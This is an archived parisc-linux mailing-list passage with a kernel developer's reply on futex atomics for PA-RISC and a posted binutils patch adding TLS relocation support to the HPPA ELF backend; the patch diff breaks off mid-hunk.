X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LKwebB+BLi5n8ffRZWtpZGZjZml1ZBjG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23555


* Kyle McMartin <kyle@mcmartin.ca> wrote:

> [Sorry about how long it has taken to get to this... I bounced it to
>  parisc-linux too, so hopefully someone else can comment as well.]
> 
> On Wed, Feb 22, 2006 at 10:13:56AM +0100, Ingo Molnar wrote:
> > There's only one complication i can imagine on PARISC: truly atomic 
> > futex_atomic_cmpxchg_inuser() is not possible in any sane way because 
> > any spinlock based cmpxchg exposes itself to userspace locking up the 
> > kernel - no good. [We could in theory do something about it by imposing 
> > some sort of deadline on the maximum time the spinning-on-userspace-lock 
> > can take - but i dont think it's worth the trouble.]
> >
> 
> Due to a complete lack of useful atomic operations on parisc, the way 
> I envisioned implementing the routines was serializing all futex ops 
> on a kernel spinlock. Since it's a userspace address, we couldn't use 
> an atomic hash unless we found the physical address behind it, so just 
> one spinlock would do... Of course, I'm probably missing something 
> critical here, though.

if userspace doesnt do atomic ops then the solution should be relatively 
easy: make glibc always call into the kernel, and then the kernel-level 
futex.h ops can be implemented in a lockless manner (i.e. not even a 
spinlock is needed) and you'll get (pretty scalable) futex 
functionality. The in-kernel futex hash-bucket spinlocks take care of 
locking.

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] tls support against mainline binutils.
Date: Sat, 8 Apr 2006 18:00:48 -0400
Lines: 1285
Approved: news@gmane.org
Message-ID: <119aab440604081500g197de506i45937871da93b432@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_15975_6684572.1144533648631"
X-Trace: ger.gmane.org 1416624049 18877 80.91.229.3 (22 Nov 2014 02:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:49 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Apr 2006 22:01:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 09 Apr 2006 00:01:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7D557D677;
	Sat,  8 Apr 2006 16:00:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04342-01; Sat, 8 Apr 2006 16:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88C5B7D66D;
	Sat,  8 Apr 2006 16:00:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D14DD7D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 16:00:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03777-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 8 Apr 2006 16:00:50 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.203])
	by free.linux.hp.com (Postfix) with ESMTP id DAC017D667
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  8 Apr 2006 16:00:49 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id i11so673729nzh
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 08 Apr 2006 15:00:49 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type;
	b=CkGUS66K2Amu3VfFtbBwW8l1CV8vTNYI5WZqiVc8uoHiUi+3rIVJGXzPjc8AmAFjGdAWa+XNIuNSzGVqIYO6dC0ZCG5EL122u1V8wlCU0BJNgmzjC+EL5rHw0YyRDn7GQsdmzRKCOqAZ7e/0SUk1I1ASvbnAqbg/FzlEHEoTtG0=
Original-Received: by 10.36.220.35 with SMTP id s35mr3646788nzg;
	Sat, 08 Apr 2006 15:00:48 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Sat, 8 Apr 2006 15:00:48 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +1tdBVZSfW4orOWveGVodW5mdmllcgVC
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23556

------=_Part_15975_6684572.1144533648631
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Randolph,

This is my merge of the TLS patch to mainline.

I'm going through our TLS document .tex file
stored in our web/ cvs module. I'm hoping this
is up to date and ok.

What else do we need to add to binutils?

Please review.

Cheers,
Carlos.

gas/

2005-06-09  Randolph Chung  <tausq@debian.org>

=09* config/tc-hppa.h (hppa_fix_adjustable): Handle TLS relocations.
=09* config/tc-hppa.c (is_tls_gdidx, is_tls_ldidx, is_tls_dtpoff): New.
=09(is_tls_ieoff, is_tls_leoff): New.
=09(fix_new_hppa): Handle TLS relocations.
=09(cons_fix_new_hppa): Likewise.
=09(pa_ip): Likewise.
=09(md_apply_fix): Likewise.

include/elf/

2005-06-09  Randolph Chung  <tausq@debian.org>

=09* hppa.h: Add TLS relocations.

bfd/

2005-06-09  Randolph Chung  <tausq@debian.org>

=09* elf-hppa.h (reloc_hppa_howto_table): Check bitfield for
=09TPREL21L/TPREL14R relocations. Handle LTOFF_TP14R relocations.
=09Add handling for new TLS relocations.
=09(elf_hppa_reloc_final_type): Handle TLS relocations.
=09* elf32-hppa.c (elf32_hppa_link_hash_entry): Define tls GOT type
=09enumeration.  Add tls_ldm_got to keep track of LDM relocations.
=09(hppa_elf_hash_entry): New.
=09(hppa_elf_local_got_tls_type): New.
=09(elf32_hppa_optimized_tls_reloc): New function.
=09(hppa_link_hash_newfunc): Initialize tls_type field.
=09(elf32_hppa_link_hash_table_create): Initialize tls_ldm_got
=09field.
=09(elf32_hppa_copy_indirect_symbol): Copy TLS information.
=09(elf32_hppa_check_relocs): Handle TLS relocations.
=09(elf32_hppa_gc_sweep_hook): Likewise.
=09(allocate_plt_static): Cleanup usage of elf32_hppa_link_hash_entry
=09cast.
=09(allocate_dynrelocs): Handle TLS relocations.
=09(elf32_hppa_size_dynamic_sections): Likewise.
=09(dtpoff_base): New function.
=09(tpoff): New function.
=09(final_link_relocate): Handle TLS relocations.
=09(elf32_hppa_optimized_tls_reloc): New function.
=09(elf32_hppa_relocate_section): Handle TLS relocations.
=09(elf32_hppa_finish_dynamic_symbol): Likewise.
=09(elf32_hppa_reloc_type_class): Likewise.

------=_Part_15975_6684572.1144533648631
Content-Type: text/x-patch; name=patch-tls-2006-04-08.diff; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_elshjjsz
Content-Disposition: attachment; filename="patch-tls-2006-04-08.diff"

? bfd/doc/bfd.info
? binutils/doc/binutils.info
? gas/doc/as.info
? ld/ld.info
Index: bfd/elf-hppa.h
===================================================================
RCS file: /cvs/src/src/bfd/elf-hppa.h,v
retrieving revision 1.81
diff -u -p -r1.81 elf-hppa.h
--- bfd/elf-hppa.h	25 Aug 2005 02:32:09 -0000	1.81
+++ bfd/elf-hppa.h	8 Apr 2006 21:53:34 -0000
@@ -387,7 +387,7 @@ static reloc_howto_type elf_hppa_howto_t
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
   { R_PARISC_TPREL32, 0, 0, 32, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_TPREL32", FALSE, 0, 0, FALSE },
-  { R_PARISC_TPREL21L, 0, 0, 21, FALSE, 0, complain_overflow_dont,
+  { R_PARISC_TPREL21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_TPREL21L", FALSE, 0, 0, FALSE },
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
@@ -395,7 +395,7 @@ static reloc_howto_type elf_hppa_howto_t
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
-  { R_PARISC_TPREL14R, 0, 0, 14, FALSE, 0, complain_overflow_dont,
+  { R_PARISC_TPREL14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_TPREL14R", FALSE, 0, 0, FALSE },
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
@@ -413,7 +413,7 @@ static reloc_howto_type elf_hppa_howto_t
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
   { R_PARISC_LTOFF_TP14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
-    bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
+    bfd_elf_generic_reloc, "R_PARISC_LTOFF_TP14R", FALSE, 0, 0, FALSE },
   { R_PARISC_LTOFF_TP14F, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_LTOFF_TP14F", FALSE, 0, 0, FALSE },
   /* 168 */
@@ -557,6 +557,31 @@ static reloc_howto_type elf_hppa_howto_t
     bfd_elf_generic_reloc, "R_PARISC_GNU_VTENTRY", FALSE, 0, 0, FALSE },
   { R_PARISC_GNU_VTINHERIT, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_GNU_VTINHERIT", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_GD21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_GD21L", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_GD14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_GD14R", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_GDCALL, 0, 0, 0, FALSE, 0, complain_overflow_dont,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_GDCALL", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDM21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDM21L", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDM14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDM14R", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDMCALL, 0, 0, 0, FALSE, 0, complain_overflow_dont,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDMCALL", FALSE, 0, 0, FALSE },
+  /* 240 */
+  { R_PARISC_TLS_LDO21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDO21L", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDO14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDO14R", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPMOD32, 0, 0, 32, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPMOD32", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPMOD64, 0, 0, 64, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPMOD64", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPOFF32, 0, 0, 32, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPOFF32", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPOFF64, 0, 0, 64, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPOFF64", FALSE, 0, 0, FALSE },
 };
 
 #define OFFSET_14R_FROM_21L 4
@@ -837,6 +862,82 @@ elf_hppa_reloc_final_type (bfd *abfd,
 	  return R_PARISC_NONE;
 	}
       break;
+      
+    case R_PARISC_TLS_GD21L:
+      switch (field)
+	{
+	  case e_ltsel:
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_GD21L;
+	    break;
+	  case e_rtsel:
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_GD14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_LDM21L:
+      switch (field)
+	{
+	  case e_ltsel:
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_LDM21L;
+	    break;
+	  case e_rtsel:
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_LDM14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_LDO21L:
+      switch (field)
+	{
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_LDO21L;
+	    break;
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_LDO14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_IE21L:
+      switch (field)
+	{
+	  case e_ltsel:
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_IE21L;
+	    break;
+	  case e_rtsel:
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_IE14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_LE21L:
+      switch (field)
+	{
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_LE21L;
+	    break;
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_LE14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
 
     case R_PARISC_GNU_VTENTRY:
     case R_PARISC_GNU_VTINHERIT:
Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.144
diff -u -p -r1.144 elf32-hppa.c
--- bfd/elf32-hppa.c	16 Mar 2006 12:20:15 -0000	1.144
+++ bfd/elf32-hppa.c	8 Apr 2006 21:53:35 -0000
@@ -7,7 +7,9 @@
 	Department of Computer Science
 	University of Utah
    Largely rewritten by Alan Modra <alan@linuxcare.com.au>
-
+   Naming cleanup by Carlos O'Donell <carlos@systemhalted.org>
+   TLS support written by Randolph Chung <tausq@debian.org>
+ 
    This file is part of BFD, the Binary File Descriptor library.
 
    This program is free software; you can redistribute it and/or modify
@@ -230,6 +232,10 @@ struct elf32_hppa_link_hash_entry {
 #endif
   } *dyn_relocs;
 
+  enum {
+    GOT_UNKNOWN = 0, GOT_NORMAL = 1, GOT_TLS_GD = 2, GOT_TLS_LDM = 4, GOT_TLS_IE = 8
+  } tls_type;
+
   /* Set if this symbol is used by a plabel reloc.  */
   unsigned int plabel:1;
 };
@@ -292,6 +298,12 @@ struct elf32_hppa_link_hash_table {
 
   /* Small local sym to section mapping cache.  */
   struct sym_sec_cache sym_sec;
+
+  /* Data for LDM relocations.  */
+  union {
+    bfd_signed_vma refcount;
+    bfd_vma offset;
+  } tls_ldm_got;
 };
 
 /* Various hash macros and functions.  */
@@ -308,6 +320,19 @@ struct elf32_hppa_link_hash_table {
   ((struct elf32_hppa_stub_hash_entry *) \
    bfd_hash_lookup ((table), (string), (create), (copy)))
 
+#define hppa_elf_local_got_tls_type(abfd) \
+  ((char *)(elf_local_got_offsets (abfd) + (elf_tdata (abfd)->symtab_hdr.sh_info * 2)))
+
+#define hh_name(hh) \
+  (hh ? hh->eh.root.root.string : "<undef>")
+
+#define eh_name(eh) \
+  (eh ? eh->root.root.string : "<undef>")
+
+static int
+elf32_hppa_optimized_tls_reloc (struct bfd_link_info *info,
+				int r_type, int is_local);
+
 /* Assorted hash table functions.  */
 
 /* Initialize an entry in the stub hash table.  */
@@ -375,6 +400,7 @@ hppa_link_hash_newfunc (struct bfd_hash_
       hh->hsh_cache = NULL;
       hh->dyn_relocs = NULL;
       hh->plabel = 0;
+      hh->tls_type = GOT_UNKNOWN;
     }
 
   return entry;
@@ -424,6 +450,7 @@ elf32_hppa_link_hash_table_create (bfd *
   htab->has_22bit_branch = 0;
   htab->need_plt_stub = 0;
   htab->sym_sec.abfd = NULL;
+  htab->tls_ldm_got.refcount = 0;
 
   return &htab->etab.root;
 }
@@ -453,13 +480,13 @@ hppa_stub_name (const asection *input_se
 
   if (hh)
     {
-      len = 8 + 1 + strlen (hh->eh.root.root.string) + 1 + 8 + 1;
+      len = 8 + 1 + strlen (hh_name (hh)) + 1 + 8 + 1;
       stub_name = bfd_malloc (len);
       if (stub_name != NULL)
 	{
 	  sprintf (stub_name, "%08x_%s+%x",
 		   input_section->id & 0xffffffff,
-		   hh->eh.root.root.string,
+		   hh_name (hh),
 		   (int) rela->r_addend & 0xffffffff);
 	}
     }
@@ -1063,7 +1090,16 @@ elf32_hppa_copy_indirect_symbol (struct 
       eh_dir->needs_plt |= eh_ind->needs_plt;
     }
   else
-   _bfd_elf_link_hash_copy_indirect (info, eh_dir, eh_ind);
+    {
+      if (eh_ind->root.type == bfd_link_hash_indirect
+          && eh_dir->got.refcount <= 0)
+        {
+          hh_dir->tls_type = hh_ind->tls_type;
+          hh_ind->tls_type = GOT_UNKNOWN;
+        }
+
+      _bfd_elf_link_hash_copy_indirect (info, eh_dir, eh_ind);
+    }
 }
 
 /* Look through the relocs for a section during the first phase, and
@@ -1084,6 +1120,7 @@ elf32_hppa_check_relocs (bfd *abfd,
   struct elf32_hppa_link_hash_table *htab;
   asection *sreloc;
   asection *stubreloc;
+  int tls_type = GOT_UNKNOWN, old_tls_type = GOT_UNKNOWN;
 
   if (info->relocatable)
     return TRUE;
@@ -1121,6 +1158,7 @@ elf32_hppa_check_relocs (bfd *abfd,
 	}
 
       r_type = ELF32_R_TYPE (rela->r_info);
+      r_type = elf32_hppa_optimized_tls_reloc (info, r_type, hh == NULL);
 
       switch (r_type)
 	{
@@ -1243,6 +1281,20 @@ elf32_hppa_check_relocs (bfd *abfd,
 	    return FALSE;
 	  continue;
 
+	case R_PARISC_TLS_GD21L:
+	case R_PARISC_TLS_GD14R:
+	case R_PARISC_TLS_LDM21L:
+	case R_PARISC_TLS_LDM14R:
+	  need_entry = NEED_GOT;
+	  break;
+
+	case R_PARISC_TLS_IE21L:
+	case R_PARISC_TLS_IE14R:
+	  if (info->shared)
+            info->flags |= DF_STATIC_TLS;
+	  need_entry = NEED_GOT;
+	  break;
+
 	default:
 	  continue;
 	}
@@ -1250,6 +1302,25 @@ elf32_hppa_check_relocs (bfd *abfd,
       /* Now carry out our orders.  */
       if (need_entry & NEED_GOT)
 	{
+	  switch (r_type)
+	    {
+	    default:
+	      tls_type = GOT_NORMAL;
+	      break;
+	    case R_PARISC_TLS_GD21L:
+	    case R_PARISC_TLS_GD14R:
+	      tls_type |= GOT_TLS_GD;
+	      break;
+	    case R_PARISC_TLS_LDM21L:
+	    case R_PARISC_TLS_LDM14R:
+	      tls_type |= GOT_TLS_LDM;
+	      break;
+	    case R_PARISC_TLS_IE21L:
+	    case R_PARISC_TLS_IE14R:
+	      tls_type |= GOT_TLS_IE;
+	      break;
+	    }
+
 	  /* Allocate space for a GOT entry, as well as a dynamic
 	     relocation for this entry.  */
 	  if (htab->sgot == NULL)
@@ -1260,31 +1331,56 @@ elf32_hppa_check_relocs (bfd *abfd,
 		return FALSE;
 	    }
 
-	  if (hh != NULL)
-	    {
-	      hh->eh.got.refcount += 1;
-	    }
+	  if (r_type == R_PARISC_TLS_LDM21L
+	      || r_type == R_PARISC_TLS_LDM14R)
+	    hppa_link_hash_table (info)->tls_ldm_got.refcount += 1;
 	  else
 	    {
-	      bfd_signed_vma *local_got_refcounts;
-              /* This is a global offset table entry for a local symbol.  */
-	      local_got_refcounts = elf_local_got_refcounts (abfd);
-	      if (local_got_refcounts == NULL)
-		{
-		  bfd_size_type size;
+	      if (hh != NULL)
+	        {
+	          hh->eh.got.refcount += 1;
+	          old_tls_type = hh->tls_type;
+	        }
+	      else
+	        {
+	          bfd_signed_vma *local_got_refcounts;
+		  
+	          /* This is a global offset table entry for a local symbol.  */
+	          local_got_refcounts = elf_local_got_refcounts (abfd);
+	          if (local_got_refcounts == NULL)
+		    {
+		      bfd_size_type size;
+
+		      /* Allocate space for local got offsets and local
+		         plt offsets.  Done this way to save polluting
+		         elf_obj_tdata with another target specific
+		         pointer.  */
+		      size = symtab_hdr->sh_info;
+		      size *= 2 * sizeof (bfd_signed_vma);
+		      /* Add in space to store the local GOT TLS types.  */
+		      size += symtab_hdr->sh_info;
+		      local_got_refcounts = bfd_zalloc (abfd, size);
+		      if (local_got_refcounts == NULL)
+		        return FALSE;
+		      elf_local_got_refcounts (abfd) = local_got_refcounts;
+		      memset (hppa_elf_local_got_tls_type (abfd),
+		    	  GOT_UNKNOWN, symtab_hdr->sh_info);
+		    }
+	          local_got_refcounts[r_symndx] += 1;
+
+	          old_tls_type = hppa_elf_local_got_tls_type (abfd) [r_symndx];
+	        }
+
+	      tls_type |= old_tls_type;
+
+	      if (old_tls_type != tls_type)
+	        {
+	          if (hh != NULL)
+		    hh->tls_type = tls_type;
+	          else
+		    hppa_elf_local_got_tls_type (abfd) [r_symndx] = tls_type;
+	        }
 
-		  /* Allocate space for local got offsets and local
-		     plt offsets.  Done this way to save polluting
-		     elf_obj_tdata with another target specific
-		     pointer.  */
-		  size = symtab_hdr->sh_info;
-		  size *= 2 * sizeof (bfd_signed_vma);
-		  local_got_refcounts = bfd_zalloc (abfd, size);
-		  if (local_got_refcounts == NULL)
-		    return FALSE;
-		  elf_local_got_refcounts (abfd) = local_got_refcounts;
-		}
-	      local_got_refcounts[r_symndx] += 1;
 	    }
 	}
 
@@ -1325,6 +1421,8 @@ elf32_hppa_check_relocs (bfd *abfd,
 			 plt offsets.  */
 		      size = symtab_hdr->sh_info;
 		      size *= 2 * sizeof (bfd_signed_vma);
+		      /* Add in space to store the local GOT TLS types.  */
+		      size += symtab_hdr->sh_info;
 		      local_got_refcounts = bfd_zalloc (abfd, size);
 		      if (local_got_refcounts == NULL)
 			return FALSE;
@@ -1578,11 +1676,17 @@ elf32_hppa_gc_sweep_hook (bfd *abfd,
 	}
 
       r_type = ELF32_R_TYPE (rela->r_info);
+      r_type = elf32_hppa_optimized_tls_reloc (info, r_type, eh != NULL);
+
       switch (r_type)
 	{
 	case R_PARISC_DLTIND14F:
 	case R_PARISC_DLTIND14R:
 	case R_PARISC_DLTIND21L:
+	case R_PARISC_TLS_GD21L:
+	case R_PARISC_TLS_GD14R:
+	case R_PARISC_TLS_IE21L:
+	case R_PARISC_TLS_IE14R:
 	  if (eh != NULL)
 	    {
 	      if (eh->got.refcount > 0)
@@ -1595,6 +1699,11 @@ elf32_hppa_gc_sweep_hook (bfd *abfd,
 	    }
 	  break;
 
+	case R_PARISC_TLS_LDM21L:
+	case R_PARISC_TLS_LDM14R:
+	  hppa_link_hash_table (info)->tls_ldm_got.refcount -= 1;
+	  break;
+
 	case R_PARISC_PCREL12F:
 	case R_PARISC_PCREL17C:
 	case R_PARISC_PCREL17F:
@@ -1982,12 +2091,22 @@ allocate_dynrelocs (struct elf_link_hash
       sec = htab->sgot;
       eh->got.offset = sec->size;
       sec->size += GOT_ENTRY_SIZE;
+      /* R_PARISC_TLS_GD* needs two GOT entries */
+      if ((hh->tls_type & (GOT_TLS_GD|GOT_TLS_IE)) 
+	  == (GOT_TLS_GD|GOT_TLS_IE))
+      	sec->size += GOT_ENTRY_SIZE * 2;
+      else if ((hh->tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+      	sec->size += GOT_ENTRY_SIZE;
       if (htab->etab.dynamic_sections_created
 	  && (info->shared
 	      || (eh->dynindx != -1
 		  && !eh->forced_local)))
 	{
 	  htab->srelgot->size += sizeof (Elf32_External_Rela);
+	  if ((hh->tls_type & (GOT_TLS_GD|GOT_TLS_IE)) == (GOT_TLS_GD|GOT_TLS_IE))
+	    htab->srelgot->size += 2 * sizeof (Elf32_External_Rela);
+	  else if ((hh->tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+	    htab->srelgot->size += sizeof (Elf32_External_Rela);
 	}
     }
   else
@@ -2181,6 +2300,7 @@ elf32_hppa_size_dynamic_sections (bfd *o
       bfd_size_type locsymcount;
       Elf_Internal_Shdr *symtab_hdr;
       asection *srel;
+      char *local_tls_type;
 
       if (bfd_get_flavour (ibfd) != bfd_target_elf_flavour)
 	continue;
@@ -2219,6 +2339,7 @@ elf32_hppa_size_dynamic_sections (bfd *o
       symtab_hdr = &elf_tdata (ibfd)->symtab_hdr;
       locsymcount = symtab_hdr->sh_info;
       end_local_got = local_got + locsymcount;
+      local_tls_type = hppa_elf_local_got_tls_type (ibfd);
       sec = htab->sgot;
       srel = htab->srelgot;
       for (; local_got < end_local_got; ++local_got)
@@ -2227,11 +2348,23 @@ elf32_hppa_size_dynamic_sections (bfd *o
 	    {
 	      *local_got = sec->size;
 	      sec->size += GOT_ENTRY_SIZE;
+	      if ((*local_tls_type & (GOT_TLS_GD|GOT_TLS_IE)) == (GOT_TLS_GD|GOT_TLS_IE))
+		sec->size += 2 * GOT_ENTRY_SIZE;
+	      else if ((*local_tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+		sec->size += GOT_ENTRY_SIZE;
 	      if (info->shared) 
-		srel->size += sizeof (Elf32_External_Rela);
+	        {
+		  srel->size += sizeof (Elf32_External_Rela);
+		  if ((*local_tls_type & (GOT_TLS_GD|GOT_TLS_IE)) == (GOT_TLS_GD|GOT_TLS_IE))
+		    srel->size += 2 * sizeof (Elf32_External_Rela);
